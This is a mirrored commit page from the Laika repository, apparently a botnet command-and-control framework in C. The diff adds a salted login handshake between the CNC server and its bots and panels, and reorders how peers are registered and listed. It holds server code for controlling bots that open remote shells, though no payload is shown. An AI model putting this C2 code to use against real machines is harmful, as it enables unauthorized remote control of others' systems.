mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-04 15:20:07 +00:00
CNC, Lib, Bot, Shell: New 2nd stage handshake
- New packet, LAIKAPKT_PEER_LOGIN_REQ - All peers must prove they have access to the sent pubkey by passing a challenge. A salt is now sent on the handshake response packet, which must be encrypted and sent back through the PEER_LOGIN packet - Protcol minor version incremented to 0.4
This commit is contained in:
@@ -84,12 +84,10 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
|
||||
/* queue response */
|
||||
laikaS_startOutPacket(peer, LAIKAPKT_HANDSHAKE_RES);
|
||||
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
|
||||
laikaS_write(&peer->sock, peer->salt, LAIKA_HANDSHAKE_SALT_LEN);
|
||||
laikaS_endOutPacket(peer);
|
||||
|
||||
/* handshake (mostly) complete */
|
||||
laikaC_onAddPeer(cnc, peer);
|
||||
|
||||
LAIKA_DEBUG("accepted handshake from peer %p\n", peer);
|
||||
/* handshake (mostly) complete, we now wait for the PEER_LOGIN packets */
|
||||
}
|
||||
|
||||
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
@@ -113,9 +111,9 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
laikaC_handlePing, \
|
||||
0, \
|
||||
false), \
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, \
|
||||
laikaC_handleAuthenticatedHandshake, \
|
||||
sizeof(uint8_t), \
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PEER_LOGIN_REQ, \
|
||||
laikaC_handlePeerLoginReq, \
|
||||
sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN, \
|
||||
false)
|
||||
|
||||
struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = {
|
||||
@@ -217,17 +215,21 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
|
||||
int i;
|
||||
GETPINFOFROMPEER(peer)->completeHandshake = true;
|
||||
|
||||
/* add peer to panels list (if it's a panel) */
|
||||
if (peer->type == PEER_AUTH)
|
||||
laikaC_addAuth(cnc, peer);
|
||||
/* add to peer lookup map */
|
||||
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
|
||||
|
||||
/* notify connected panels of the newly connected peer */
|
||||
for (i = 0; i < cnc->authPeersCount; i++) {
|
||||
laikaC_sendNewPeer(cnc->authPeers[i], peer);
|
||||
}
|
||||
|
||||
/* add to peer lookup map */
|
||||
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
|
||||
/* add peer to panels list (if it's a panel) */
|
||||
if (peer->type == PEER_AUTH) {
|
||||
laikaC_addAuth(cnc, peer);
|
||||
|
||||
/* send a list of peers */
|
||||
laikaC_sendPeerList(cnc, peer);
|
||||
}
|
||||
}
|
||||
|
||||
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
|
||||
|
@@ -18,6 +18,11 @@ bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData)
|
||||
return true;
|
||||
}
|
||||
|
||||
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
|
||||
{
|
||||
laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer);
|
||||
}
|
||||
|
||||
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
|
||||
{
|
||||
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
|
||||
@@ -46,33 +51,6 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
|
||||
|
||||
/* ================================[[ [Auth] Packet Handlers ]]================================= */
|
||||
|
||||
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
||||
void *uData)
|
||||
{
|
||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
||||
struct sLaika_cnc *cnc = pInfo->cnc;
|
||||
PEERTYPE type;
|
||||
int i;
|
||||
|
||||
type = laikaS_readByte(&authPeer->sock);
|
||||
switch (type) {
|
||||
case PEER_AUTH:
|
||||
/* check that peer's pubkey is authenticated */
|
||||
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
|
||||
LAIKA_ERROR("unauthorized panel!\n");
|
||||
|
||||
/* notify cnc */
|
||||
laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
|
||||
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
|
||||
|
||||
/* they passed! send list of our peers */
|
||||
laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer);
|
||||
break;
|
||||
default:
|
||||
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
|
||||
}
|
||||
}
|
||||
|
||||
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
||||
void *uData)
|
||||
{
|
||||
|
@@ -129,6 +129,42 @@ void laikaC_closeShells(struct sLaika_peer *peer)
|
||||
|
||||
/* ================================[[ [Peer] Packet Handlers ]]================================= */
|
||||
|
||||
void laikaC_handlePeerLoginReq(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
{
|
||||
uint8_t saltBuf[LAIKA_HANDSHAKE_SALT_LEN];
|
||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
||||
struct sLaika_cnc *cnc = pInfo->cnc;
|
||||
PEERTYPE type;
|
||||
int i;
|
||||
|
||||
/* read packet */
|
||||
type = laikaS_readByte(&peer->sock);
|
||||
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
|
||||
|
||||
/* make sure the sent salt matches our copy (make sure they're not replaying packets) */
|
||||
if (memcmp(saltBuf, peer->salt, LAIKA_HANDSHAKE_SALT_LEN))
|
||||
LAIKA_ERROR("laikaC_handlePeerHandshake: Salt mismatch!\n");
|
||||
|
||||
switch (type) {
|
||||
case PEER_BOT:
|
||||
laikaC_setPeerType(cnc, peer, PEER_BOT);
|
||||
break;
|
||||
case PEER_AUTH:
|
||||
/* check that peer's pubkey is authenticated */
|
||||
if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, cnc->authKeysCount))
|
||||
LAIKA_ERROR("laikaC_handlePeerHandshake: Unauthorized panel!\n");
|
||||
|
||||
/* notify cnc */
|
||||
laikaC_setPeerType(cnc, peer, PEER_AUTH);
|
||||
LAIKA_DEBUG("Accepted authenticated panel %p\n", peer);
|
||||
break;
|
||||
default:
|
||||
LAIKA_ERROR("Unknown peerType [%d]!\n", type);
|
||||
}
|
||||
|
||||
LAIKA_DEBUG("Peer login for %p accepted!\n", peer);
|
||||
}
|
||||
|
||||
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
{
|
||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
||||
|
Reference in New Issue
Block a user